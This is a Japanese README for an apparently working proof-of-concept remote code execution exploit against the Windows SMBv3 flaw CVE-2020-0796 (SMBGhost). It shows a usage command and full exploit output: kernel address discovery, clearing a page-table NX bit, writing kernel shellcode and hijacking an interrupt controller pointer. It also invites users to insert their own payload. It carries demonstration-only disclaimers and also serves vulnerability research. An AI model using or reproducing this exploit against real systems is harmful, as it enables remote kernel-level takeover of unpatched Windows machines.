
CVE-2020-0796 (SMBGhost) を標的とした Windows SMBv3 向けの概念実証リモートコード実行エクスプロイト。ヒープ操作と LZNT1 圧縮破損を利用したカーネルシェルコードインジェクションを含みます。
CVE-2020-0796「SMBGhost」のRCE PoC
デモンストレーション目的のみ!参考としてのみ使用してください。深刻です。これは私の実験環境以外ではテストされていません。急いで書かれたもので、信頼性を高めるにはもう少し改良が必要です。時々BSODが発生します。自己教育以外の目的で使用することは極めて悪い考えです。あなたのコンピュータは炎上し、子犬たちは死ぬでしょう。
さて、それはさておき....
使用例:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
exploit.pyのUSER_PAYLOAD内のペイロードを置き換えてください。最大600バイトです。それ以上必要な場合は、自分でカーネルシェルコードを修正してください。
lznt1コードはこちらから。クラッシュを引き起こさずにSRVNETバッファヘッダを破損する「bad compression」関数を追加するために修正されました。